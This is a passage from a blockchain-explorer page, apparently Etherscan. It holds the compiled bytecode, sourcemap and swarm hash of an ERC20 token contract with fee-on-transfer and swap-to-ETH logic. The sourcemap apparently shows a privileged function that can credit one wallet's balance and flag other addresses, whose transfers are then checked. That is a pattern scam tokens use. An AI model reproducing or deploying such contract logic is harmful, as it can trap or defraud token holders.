90919063ffffffff16565b90611204565b9050610d55565b6001600160a01b03861660009081526007602052604090205460ff1615610d5557610d526064610d0a600a548861118590919063ffffffff16565b90505b8015610dcf5730600090815260046020526040902054610d759082611246565b30600081815260046020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610dc69085815260200190565b60405180910390a35b610dd98582611143565b9150505b6001600160a01b038516600090815260046020526040902054610e009082611246565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e549085815260200190565b60405180910390a360019250505061055e565b60008184841115610e8b5760405162461bcd60e51b815260040161070691906112d3565b506000610e988486611564565b95945050505050565b604080518082018252601481527374656c756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610ef2918490610e67565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610f219083611246565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f759086815260200190565b60405180910390a35060019392505050565b600d805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fcf57610fcf6114c9565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611028573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104c9190611547565b8160018151811061105f5761105f6114c9565b6001600160a01b039283166020918202929092010152600c546110859130911684610996565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110be90859060009086903090429060040161157b565b600060405180830381600087803b1580156110d857600080fd5b505af19250505080156110e9575060015b50478015611131576003546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f1935050505015801561112f573d6000803e3d6000fd5b505b5050600d805460ff60a01b1916905550565b600061055e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e67565b600082611194575060006104f4565b60006111a083856114f5565b9050826111ad85836115ec565b1461055e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610706565b600061055e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112a5565b6000806112538385611514565b90508381101561055e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610706565b600081836112c65760405162461bcd60e51b815260040161070691906112d3565b506000610e9884866115ec565b600060208083528351808285015260005b81811015611300578581018301518582016040015282016112e4565b81811115611312576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461133d57600080fd5b50565b6000806040838503121561135357600080fd5b823561135e81611328565b946020939093013593505050565b60008060006060848603121561138157600080fd5b833561138c81611328565b9250602084013561139c81611328565b929592945050506040919091013590565b6000602082840312156113bf57600080fd5b813561055e81611328565b6000806000604084860312156113df57600080fd5b833567ffffffffffffffff808211156113f757600080fd5b818601915086601f83011261140b57600080fd5b81358181111561141a57600080fd5b8760208260051b850101111561142f57600080fd5b60209283019550935050840135801515811461144a57600080fd5b809150509250925092565b6000806040838503121561146857600080fd5b823561147381611328565b9150602083013561148381611328565b809150509250929050565b600181811c908216806114a257607f821691505b602082108114156114c357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600081600019048311821515161561150f5761150f6114df565b500290565b60008219821115611527576115276114df565b500190565b6000600019821415611540576115406114df565b5060010190565b60006020828403121561155957600080fd5b815161055e81611328565b600082821015611576576115766114df565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115cb5784516001600160a01b0316835293830193918301916001016115a6565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261160957634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204ef1522036ad3baa85771c36c03b64ad7723d35d246adc45b4f616266442d8b464736f6c634300080c0033

Deployed Bytecode Sourcemap

3671:6587:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4341:38;;;;;;;;;;-1:-1:-1;4341:38:0;;;;;;;-1:-1:-1;;;;;4341:38:0;;;;;;-1:-1:-1;;;;;194:32:1;;;176:51;;164:2;149:18;4341:38:0;;;;;;;;5432:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;6710:161::-;;;;;;;;;;-1:-1:-1;6710:161:0;;;;;:::i;:::-;;:::i;:::-;;;1461:14:1;;1454:22;1436:41;;1424:2;1409:18;6710:161:0;1296:187:1;4825:41:0;;;;;;;;;;-1:-1:-1;4825:41:0;;;;-1:-1:-1;;;;;4825:41:0;;;6565:100;;;;;;;;;;-1:-1:-1;6645:12:0;;6565:100;;;1868:25:1;;;1856:2;1841:18;6565:100:0;1722:177:1;9765:313:0;;;;;;;;;;-1:-1:-1;9765:313:0;;;;;:::i;:::-;;:::i;6879:83::-;;;;;;;;;;-1:-1:-1;6945:9:0;;6879:83;;6945:9;;;;2507:36:1;;2495:2;2480:18;6879:83:0;2365:184:1;4511:50:0;;;;;;;;;;-1:-1:-1;4511:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;4568:45;;;;;;;;;;-1:-1:-1;4568:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3757:461;;;;;;;;;;-1:-1:-1;3757:461:0;;;;;:::i;:::-;;:::i;:::-;;6438:119;;;;;;;;;;-1:-1:-1;6438:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6531:18:0;6504:7;6531:18;;;:9;:18;;;;;;;6438:119;1555:157;;;;;;;;;;-1:-1:-1;1555:157:0;;;;;:::i;:::-;;:::i;4620:43::-;;;;;;;;;;-1:-1:-1;4620:43:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;1349:79;;;;;;;;;;-1:-1:-1;1387:7:0;1414:6;-1:-1:-1;;;;;1414:6:0;1349:79;;5521:87;;;;;;;;;;;;;:::i;10086:167::-;;;;;;;;;;-1:-1:-1;10086:167:0;;;;;:::i;:::-;;:::i;4672:35::-;;;;;;;;;;;;;;;;5963:467;;;;;;;;;;;;;:::i;4873:26::-;;;;;;;;;;-1:-1:-1;4873:26:0;;;;-1:-1:-1;;;;;4873:26:0;;;4714:36;;;;;;;;;;;;;;;;7310:143;;;;;;;;;;-1:-1:-1;7310:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;7418:18:0;;;7391:7;7418:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7310:143;5432:83;5469:13;5502:5;5495:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5432:83;:::o;6710:161::-;6785:4;6802:39;231:10;6825:7;6834:6;6802:8;:39::i;:::-;-1:-1:-1;6859:4:0;6710:161;;;;;:::o;9765:313::-;9863:4;9880:36;9890:6;9898:9;9909:6;9880:9;:36::i;:::-;-1:-1:-1;9927:121:0;9936:6;231:10;9958:89;9996:6;9958:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;9958:19:0;;;;;;:11;:19;;;;;;;;231:10;9958:33;;;;;;;;;;:37;:89::i;:::-;9927:8;:121::i;:::-;-1:-1:-1;10066:4:0;9765:313;;;;;;:::o;3757:461::-;3861:15;;;;;-1:-1:-1;;;;;3861:15:0;231:10;-1:-1:-1;;;;;3845:31:0;;3837:40;;;;;;3893:9;3888:323;3904:20;;;3888:323;;;3965:15;;;;;-1:-1:-1;;;;;3965:15:0;3949:9;;3959:1;3949:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;3949:31:0;;3946:254;;;4000:9;4021:12;;4012:5;:22;;;;:::i;:::-;4092:15;;;;;-1:-1:-1;;;;;4092:15:0;4082:26;;;;:9;:26;;;;;;4000:34;;-1:-1:-1;4082:30:0;;4000:34;;4082:30;:::i;:::-;4063:15;;;;;-1:-1:-1;;;;;4063:15:0;4053:26;;;;:9;:26;;;;;:59;-1:-1:-1;3946:254:0;;;4178:6;4151:10;:24;4162:9;;4172:1;4162:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;4151:24:0;;;;;;;;;;;;-1:-1:-1;4151:24:0;:33;;-1:-1:-1;;4151:33:0;;;;;;;;;;3946:254;3926:3;;;;:::i;:::-;;;;3888:323;;;;3757:461;;;:::o;1555:157::-;1262:6;;-1:-1:-1;;;;;1262:6:0;231:10;1262:22;1254:67;;;;-1:-1:-1;;;1254:67:0;;5491:2:1;1254:67:0;;;5473:21:1;;;5510:18;;;5503:30;5569:34;5549:18;;;5542:62;5621:18;;1254:67:0;;;;;;;;;1629:6:::1;:19:::0;;-1:-1:-1;;;;;;1629:19:0::1;-1:-1:-1::0;;;;;1629:19:0;::::1;::::0;;::::1;::::0;;1664:40:::1;::::0;1629:19;;;;1664:40:::1;::::0;1629:6;1664:40:::1;1555:157:::0;:::o;5521:87::-;5560:13;5593:7;5586:14;;;;;:::i;10086:167::-;10164:4;10181:42;231:10;10205:9;10216:6;10181:9;:42::i;5963:467::-;1262:6;;-1:-1:-1;;;;;1262:6:0;231:10;1262:22;1254:67;;;;-1:-1:-1;;;1254:67:0;;5491:2:1;1254:67:0;;;5473:21:1;;;5510:18;;;5503:30;5569:34;5549:18;;;5542:62;5621:18;;1254:67:0;5289:356:1;1254:67:0;6012:35:::1;6069:42;6012:100;;6155:16;-1:-1:-1::0;;;;;6155:24:0::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6137:70:0::1;;6216:4;6223:16;-1:-1:-1::0;;;;;6223:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6137:110;::::0;-1:-1:-1;;;;;;6137:110:0::1;::::0;;;;;;-1:-1:-1;;;;;6136:15:1;;;6137:110:0::1;::::0;::::1;6118:34:1::0;6188:15;;6168:18;;;6161:43;6053:18;;6137:110:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6123:11;:124:::0;;-1:-1:-1;;;;;6123:124:0;;::::1;-1:-1:-1::0;;;;;;6123:124:0;;::::1;;::::0;;6258:15:::1;:34:::0;;;;::::1;::::0;;;::::1;::::0;::::1;::::0;;6358:12:::1;::::0;6323:4:::1;6123:11;6303:26:::0;;;:11:::1;:26;::::0;;;;;;;:52;;;;;;;;;:67;;;;6402:11;;;;::::1;6381:34:::0;;:12:::1;:34:::0;;;;:41;;-1:-1:-1;;6381:41:0::1;6123:124:::0;6381:41:::1;::::0;;5963:467::o;5618:337::-;-1:-1:-1;;;;;5711:19:0;;5703:68;;;;-1:-1:-1;;;5703:68:0;;6417:2:1;5703:68:0;;;6399:21:1;6456:2;6436:18;;;6429:30;6495:34;6475:18;;;6468:62;-1:-1:-1;;;6546:18:1;;;6539:34;6590:19;;5703:68:0;6215:400:1;5703:68:0;-1:-1:-1;;;;;5790:21:0;;5782:68;;;;-1:-1:-1;;;5782:68:0;;6822:2:1;5782:68:0;;;6804:21:1;6861:2;6841:18;;;6834:30;6900:34;6880:18;;;6873:62;-1:-1:-1;;;6951:18:1;;;6944:32;6993:19;;5782:68:0;6620:398:1;5782:68:0;-1:-1:-1;;;;;5863:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;5915:32;;1868:25:1;;;5915:32:0;;1841:18:1;5915:32:0;;;;;;;5618:337;;;:::o;8109:1648::-;8187:4;-1:-1:-1;;;;;8214:18:0;;8206:68;;;;-1:-1:-1;;;8206:68:0;;7225:2:1;8206:68:0;;;7207:21:1;7264:2;7244:18;;;7237:30;7303:34;7283:18;;;7276:62;-1:-1:-1;;;7354:18:1;;;7347:35;7399:19;;8206:68:0;7023:401:1;8206:68:0;-1:-1:-1;;;;;8293:16:0;;8285:64;;;;-1:-1:-1;;;8285:64:0;;7631:2:1;8285:64:0;;;7613:21:1;7670:2;7650:18;;;7643:30;7709:34;7689:18;;;7682:62;-1:-1:-1;;;7760:18:1;;;7753:33;7803:19;;8285:64:0;7429:399:1;8285:64:0;8365:16;;-1:-1:-1;;;8365:16:0;;;;8362:1388;;;8414:32;8429:4;8435:2;8439:6;8414:14;:32::i;:::-;8407:39;;;;8362:1388;8547:4;8498:28;6531:18;;;:9;:18;;;;;;8573:16;;-1:-1:-1;;;8573:16:0;;;;8572:17;:40;;;;-1:-1:-1;;;;;;8594:18:0;;;;;;:12;:18;;;;;;;;8593:19;8572:40;8568:131;;;8647:36;8662:20;8647:14;:36::i;:::-;-1:-1:-1;;;;;8733:15:0;;;;;;:9;:15;;;;;;:27;;8753:6;8733:19;:27::i;:::-;-1:-1:-1;;;;;8715:15:0;;;;;;:9;:15;;;;;;;;:45;;;;8815:17;:23;;;;;;;;;:48;;-1:-1:-1;;;;;;8842:21:0;;;;;;:17;:21;;;;;;;;8815:48;8811:776;;;-1:-1:-1;8897:6:0;8811:776;;;-1:-1:-1;;;;;8991:16:0;;8942:17;8991:16;;;:10;:16;;;;;;;;8990:17;8982:46;;;;-1:-1:-1;;;8982:46:0;;8035:2:1;8982:46:0;;;8017:21:1;8074:2;8054:18;;;8047:30;-1:-1:-1;;;8093:18:1;;;8086:46;8149:18;;8982:46:0;7833:340:1;8982:46:0;-1:-1:-1;;;;;9052:18:0;;;;;;:12;:18;;;;;;;;9049:252;;;9107:37;9140:3;9107:28;9118:16;;9107:6;:10;;:28;;;;:::i;:::-;:32;;:37::i;:::-;9095:49;;9049:252;;;-1:-1:-1;;;;;9190:16:0;;;;;;:12;:16;;;;;;;;9187:114;;;9243:38;9277:3;9243:29;9254:17;;9243:6;:10;;:29;;;;:::i;:38::-;9231:50;;9187:114;9324:13;;9321:195;;9407:4;9389:24;;;;:9;:24;;;;;;:39;;9418:9;9389:28;:39::i;:::-;9380:4;9362:24;;;;:9;:24;;;;;;;:66;;;;9456:40;;-1:-1:-1;;;;;9456:40:0;;;;;;;9486:9;1868:25:1;;1856:2;1841:18;;1722:177;9456:40:0;;;;;;;;9321:195;9550:21;:6;9561:9;9550:10;:21::i;:::-;9536:35;;8923:664;8811:776;-1:-1:-1;;;;;9631:13:0;;;;;;:9;:13;;;;;;:30;;9649:11;9631:17;:30::i;:::-;-1:-1:-1;;;;;9615:13:0;;;;;;;:9;:13;;;;;;;:46;;;;9681:31;;;;;;;;;;9700:11;1868:25:1;;1856:2;1841:18;;1722:177;9681:31:0;;;;;;;;9734:4;9727:11;;;;;;2078:192;2164:7;2200:12;2192:6;;;;2184:29;;;;-1:-1:-1;;;2184:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2224:9:0;2236:5;2240:1;2236;:5;:::i;:::-;2224:17;2078:192;-1:-1:-1;;;;;2078:192:0:o;6970:330::-;7100:53;;;;;;;;;;;-1:-1:-1;;;7100:53:0;;;;;;;;-1:-1:-1;;;;;7100:17:0;;7063:4;7100:17;;;:9;:17;;;;;;;:53;;7122:6;;7100:21;:53::i;:::-;-1:-1:-1;;;;;7080:17:0;;;;;;;:9;:17;;;;;;:73;;;;7187:20;;;;;;;:32;;7212:6;7187:24;:32::i;:::-;-1:-1:-1;;;;;7164:20:0;;;;;;;:9;:20;;;;;;;:55;;;;7235:35;;;;;;;;;;7263:6;1868:25:1;;1856:2;1841:18;;1722:177;7235:35:0;;;;;;;;-1:-1:-1;7288:4:0;6970:330;;;;;:::o;7461:640::-;4970:16;:23;;-1:-1:-1;;;;4970:23:0;-1:-1:-1;;;4970:23:0;;;7567:16:::1;::::0;;7581:1:::1;7567:16:::0;;;;;::::1;::::0;;-1:-1:-1;;7567:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;7567:16:0::1;7543:40;;7612:4;7594;7599:1;7594:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7594:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;7638:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;7638:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;7594:7;;7638:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7628:4;7633:1;7628:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7628:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;7705:15:::1;::::0;7673:58:::1;::::0;7690:4:::1;::::0;7705:15:::1;7723:7:::0;7673:8:::1;:58::i;:::-;7748:15;::::0;:193:::1;::::0;-1:-1:-1;;;7748:193:0;;-1:-1:-1;;;;;7748:15:0;;::::1;::::0;:66:::1;::::0;:193:::1;::::0;7829:7;;7748:15:::1;::::0;7868:4;;7895::::1;::::0;7915:15:::1;::::0;7748:193:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;7744:208:::0;7987:21:::1;8024:16:::0;;8021:72:::1;;8055:15;::::0;:38:::1;::::0;:15:::1;::::0;;::::1;-1:-1:-1::0;;;;;8055:15:0::1;::::0;:38:::1;::::0;::::1;;::::0;;;::::1;::::0;;;;:15;:38;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;8021:72;-1:-1:-1::0;;5016:16:0;:24;;-1:-1:-1;;;;5016:24:0;;;-1:-1:-1;7461:640:0:o;1934:136::-;1992:7;2019:43;2023:1;2026;2019:43;;;;;;;;;;;;;;;;;:3;:43::i;2278:248::-;2336:7;2360:6;2356:47;;-1:-1:-1;2390:1:0;2383:8;;2356:47;2413:9;2425:5;2429:1;2425;:5;:::i;:::-;2413:17;-1:-1:-1;2458:1:0;2449:5;2453:1;2413:17;2449:5;:::i;:::-;:10;2441:56;;;;-1:-1:-1;;;2441:56:0;;9849:2:1;2441:56:0;;;9831:21:1;9888:2;9868:18;;;9861:30;9927:34;9907:18;;;9900:62;-1:-1:-1;;;9978:18:1;;;9971:31;10019:19;;2441:56:0;9647:397:1;2534:132:0;2592:7;2619:39;2623:1;2626;2619:39;;;;;;;;;;;;;;;;;:3;:39::i;1745:181::-;1803:7;;1835:5;1839:1;1835;:5;:::i;:::-;1823:17;;1864:1;1859;:6;;1851:46;;;;-1:-1:-1;;;1851:46:0;;10251:2:1;1851:46:0;;;10233:21:1;10290:2;10270:18;;;10263:30;10329:29;10309:18;;;10302:57;10376:18;;1851:46:0;10049:351:1;2674:189:0;2760:7;2795:12;2788:5;2780:28;;;;-1:-1:-1;;;2780:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2819:9:0;2831:5;2835:1;2831;:5;:::i;238:597:1:-;350:4;379:2;408;397:9;390:21;440:6;434:13;483:6;478:2;467:9;463:18;456:34;508:1;518:140;532:6;529:1;526:13;518:140;;;627:14;;;623:23;;617:30;593:17;;;612:2;589:26;582:66;547:10;;518:140;;;676:6;673:1;670:13;667:91;;;746:1;741:2;732:6;721:9;717:22;713:31;706:42;667:91;-1:-1:-1;819:2:1;798:15;-1:-1:-1;;794:29:1;779:45;;;;826:2;775:54;;238:597;-1:-1:-1;;;238:597:1:o;840:131::-;-1:-1:-1;;;;;915:31:1;;905:42;;895:70;;961:1;958;951:12;895:70;840:131;:::o;976:315::-;1044:6;1052;1105:2;1093:9;1084:7;1080:23;1076:32;1073:52;;;1121:1;1118;1111:12;1073:52;1160:9;1147:23;1179:31;1204:5;1179:31;:::i;:::-;1229:5;1281:2;1266:18;;;;1253:32;;-1:-1:-1;;;976:315:1:o;1904:456::-;1981:6;1989;1997;2050:2;2038:9;2029:7;2025:23;2021:32;2018:52;;;2066:1;2063;2056:12;2018:52;2105:9;2092:23;2124:31;2149:5;2124:31;:::i;:::-;2174:5;-1:-1:-1;2231:2:1;2216:18;;2203:32;2244:33;2203:32;2244:33;:::i;:::-;1904:456;;2296:7;;-1:-1:-1;;;2350:2:1;2335:18;;;;2322:32;;1904:456::o;2554:247::-;2613:6;2666:2;2654:9;2645:7;2641:23;2637:32;2634:52;;;2682:1;2679;2672:12;2634:52;2721:9;2708:23;2740:31;2765:5;2740:31;:::i;2806:782::-;2898:6;2906;2914;2967:2;2955:9;2946:7;2942:23;2938:32;2935:52;;;2983:1;2980;2973:12;2935:52;3023:9;3010:23;3052:18;3093:2;3085:6;3082:14;3079:34;;;3109:1;3106;3099:12;3079:34;3147:6;3136:9;3132:22;3122:32;;3192:7;3185:4;3181:2;3177:13;3173:27;3163:55;;3214:1;3211;3204:12;3163:55;3254:2;3241:16;3280:2;3272:6;3269:14;3266:34;;;3296:1;3293;3286:12;3266:34;3351:7;3344:4;3334:6;3331:1;3327:14;3323:2;3319:23;3315:34;3312:47;3309:67;;;3372:1;3369;3362:12;3309:67;3403:4;3395:13;;;;-1:-1:-1;3427:6:1;-1:-1:-1;;3468:20:1;;3455:34;3525:13;;3518:21;3508:32;;3498:60;;3554:1;3551;3544:12;3498:60;3577:5;3567:15;;;2806:782;;;;;:::o;3801:388::-;3869:6;3877;3930:2;3918:9;3909:7;3905:23;3901:32;3898:52;;;3946:1;3943;3936:12;3898:52;3985:9;3972:23;4004:31;4029:5;4004:31;:::i;:::-;4054:5;-1:-1:-1;4111:2:1;4096:18;;4083:32;4124:33;4083:32;4124:33;:::i;:::-;4176:7;4166:17;;;3801:388;;;;;:::o;4194:380::-;4273:1;4269:12;;;;4316;;;4337:61;;4391:4;4383:6;4379:17;4369:27;;4337:61;4444:2;4436:6;4433:14;4413:18;4410:38;4407:161;;;4490:10;4485:3;4481:20;4478:1;4471:31;4525:4;4522:1;4515:15;4553:4;4550:1;4543:15;4407:161;;4194:380;;;:::o;4579:127::-;4640:10;4635:3;4631:20;4628:1;4621:31;4671:4;4668:1;4661:15;4695:4;4692:1;4685:15;4711:127;4772:10;4767:3;4763:20;4760:1;4753:31;4803:4;4800:1;4793:15;4827:4;4824:1;4817:15;4843:168;4883:7;4949:1;4945;4941:6;4937:14;4934:1;4931:21;4926:1;4919:9;4912:17;4908:45;4905:71;;;4956:18;;:::i;:::-;-1:-1:-1;4996:9:1;;4843:168::o;5016:128::-;5056:3;5087:1;5083:6;5080:1;5077:13;5074:39;;;5093:18;;:::i;:::-;-1:-1:-1;5129:9:1;;5016:128::o;5149:135::-;5188:3;-1:-1:-1;;5209:17:1;;5206:43;;;5229:18;;:::i;:::-;-1:-1:-1;5276:1:1;5265:13;;5149:135::o;5650:251::-;5720:6;5773:2;5761:9;5752:7;5748:23;5744:32;5741:52;;;5789:1;5786;5779:12;5741:52;5821:9;5815:16;5840:31;5865:5;5840:31;:::i;8178:125::-;8218:4;8246:1;8243;8240:8;8237:34;;;8251:18;;:::i;:::-;-1:-1:-1;8288:9:1;;8178:125::o;8440:980::-;8702:4;8750:3;8739:9;8735:19;8781:6;8770:9;8763:25;8807:2;8845:6;8840:2;8829:9;8825:18;8818:34;8888:3;8883:2;8872:9;8868:18;8861:31;8912:6;8947;8941:13;8978:6;8970;8963:22;9016:3;9005:9;9001:19;8994:26;;9055:2;9047:6;9043:15;9029:29;;9076:1;9086:195;9100:6;9097:1;9094:13;9086:195;;;9165:13;;-1:-1:-1;;;;;9161:39:1;9149:52;;9256:15;;;;9221:12;;;;9197:1;9115:9;9086:195;;;-1:-1:-1;;;;;;;9337:32:1;;;;9332:2;9317:18;;9310:60;-1:-1:-1;;;9401:3:1;9386:19;9379:35;9298:3;8440:980;-1:-1:-1;;;8440:980:1:o;9425:217::-;9465:1;9491;9481:132;;9535:10;9530:3;9526:20;9523:1;9516:31;9570:4;9567:1;9560:15;9598:4;9595:1;9588:15;9481:132;-1:-1:-1;9627:9:1;;9425:217::o

Swarm Source

ipfs://4ef1522036ad3baa85771c36c03b64ad7723d35d246adc45b4f616266442d8b4
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.